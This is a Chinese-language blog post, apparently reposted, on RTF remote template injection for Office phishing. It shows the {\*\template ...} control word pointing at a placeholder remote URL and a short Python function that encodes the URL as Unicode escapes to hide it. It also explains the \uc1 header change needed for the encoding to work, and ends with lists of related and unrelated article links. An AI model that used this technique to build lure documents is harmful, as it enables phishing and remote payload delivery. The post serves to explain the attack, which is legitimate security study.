Office RTF远程模板注入
远程模板插入
ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加。之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh)。
相对DOC模板注入的创建而言比较简单,创建一个rtf文档,使用office word进行编辑,随便写个内容。

保存之后会发现文档从原来的几个字节大小变为几十KB。这是因为里面添加了大量RTF文档格式属性字段值。

那如何进行模板注入呢,RTF文档支持一个相关的控制字段:*\template,该字段值需要跟着使用的模板名,整个属性字段需要使用大括号括起来。

然后直接使用文本编辑器打开之前保存的rtf文档。进行远程模板注入的话,插入的内容形如:{\*\template hxxp://xx.xx.xx.xx:port/xxx.xxx}。至于插入位置,经过测试,放在大括号后面,前面,或是之间,都可以获取远程模板。例如:

插入字段并保存修改,再次使用Word打开,成功实现了模板注入。


Unicode形式URL模板插入
更进一步,*\template字段参数值可以为Unicode,可以更好隐藏自身。关于如何将Ascii转为Unicode表示形式,参考[3]文章如下。

Python代码表示如下:
def trans(url):
return ''.join(['\\u'+str(-(0xffff+1-ord(c)))+'?' for c in url])
那如何自制一个RTF Unicode模板注入呢?在原本基础上直接修改\*\template的属性值没用。而按proofpoint文章中所说,涉及到\*\wgrffmtfilter字段,然而查看相应文档,并且经过一番测试,和该字段实际并无关系。通过比对一些网络上的相关技术利用样本后发现,该方式应是和RTF文档首部的\uc字段有关。
\ucN:指定当前大括号中\uN表示的UNICODE字符对应的字节数。

现在只需要修改\uc为\uc1(在中文环境下默认保存为2),然后使用和第一节中相同方式将\*\template字段插入文档,可成功实现。

参考:
[1] https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
[2] http://www.biblioscape.com/rtf15_spec.htm
[3] https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/
Office RTF远程模板注入的更多相关文章
- Word模板注入攻击
Word模板注入攻击 0x00 工具准备 phishery:https://github.com/ryhanson/phishery/releases office版本:office 2010 0x0 ...
- 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短
概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...
- python 模板注入
今天学习了python的模板注入,这里自己搭建环境测试以下,参考文章:http://www.freebuf.com/articles/web/136118.html web 程序包括两个文件: fla ...
- Confluence未授权模板注入/代码执行(CVE-2019-3396)
--- title: Confluence未授权模板注入/代码执行(CVE-2019-3396) tags: [poc,cve] num :g7y12 --- # 简介 --- Confluence是 ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- CVE-2019-3396:Confluence未授权模板注入_代码执行
title: Confluence未授权模板注入/代码执行(CVE-2019-3396) tags: [poc,cve] 简介 Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企 ...
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- SSTI-服务端模板注入
SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...
- XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip
转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...
随机推荐
- wget 工具使用
wget http://xxxx 下载文件到当前文件夹 wget -V 显示wget的版本信息并退出 wget -v 打印详细信息 默认 wget -nv 关闭详细输出,但不进入安静模式 wget - ...
- Echart可视化学习集合
一.基本介绍:ECharts是一款基于JavaScript的数据可视化图表库,提供直观,生动,可交互,可个性化定制的数据可视化图表.ECharts最初由百度团队开源,并于2018年初捐赠给Apache ...
- vue实现PC端分辨率适配
lib-flexible + px2rem Loader lib-flexible 阿里伸缩布局方案 px2rem-loader:px转rem: 依赖 首先需要安装 vue-cli 脚手架,这里我安装 ...
- 查询并导出表结构为Excel
应公司要求将数据库结构用表格形式来展示给客户,最开始我手工弄了两张表效率实在太低了,于是就想偷懒了,就去网上找了一段儿sql查询语句效率提高了70%一执行就出来了,导出查询结果剩下的就只需要调整一下e ...
- Easticsearch概述(ES、Lucene、Solr)一
ES是在Lucene的基础上实现的 1.Lucene全文检索 lucene是一个全文搜索框架,而不是应用产品.因此它并不像http://www.baidu.com/或goolge Destop 那么拿 ...
- P5024 [NOIP2018 提高组] 保卫王国
思路: 首先想到每次询问两个点后就从这两个点开始往上爬,沿路更新 dp 值即可. #include <bits/stdc++.h> #define For(i,a,b) for(int i ...
- 基于华为云服务器的FTP站点搭建
前言 主要介绍了华为云上如何使用弹性云服务器的Linux实例使用vsftpd软件搭建FTP站点.vsftpd全称是"very secure FTP daemon",是一款在Linu ...
- RocketMQ 原理:消息存储、高可用、消息重试、消息幂等性
目录 消息存储 消息存储方式 非持久化 持久化 消息存储介质 消息存储与读写方式 消息存储结构 刷盘机制 同步刷盘 异步刷盘 小结 高可用 高可用实现 主从复制 负载均衡 消息重试 顺序消息重试 无序 ...
- LSM树以及在hbase中的应用
转自:http://www.cnblogs.com/yanghuahui/p/3483754.html 讲LSM树之前,需要提下三种基本的存储引擎,这样才能清楚LSM树的由来: 哈希存储引擎 是哈希 ...
- qt之线程
第一种创建: mythread1.h: #ifndef MYTHREAD_H #define MYTHREAD_H #include<QThread> #include<QDebug ...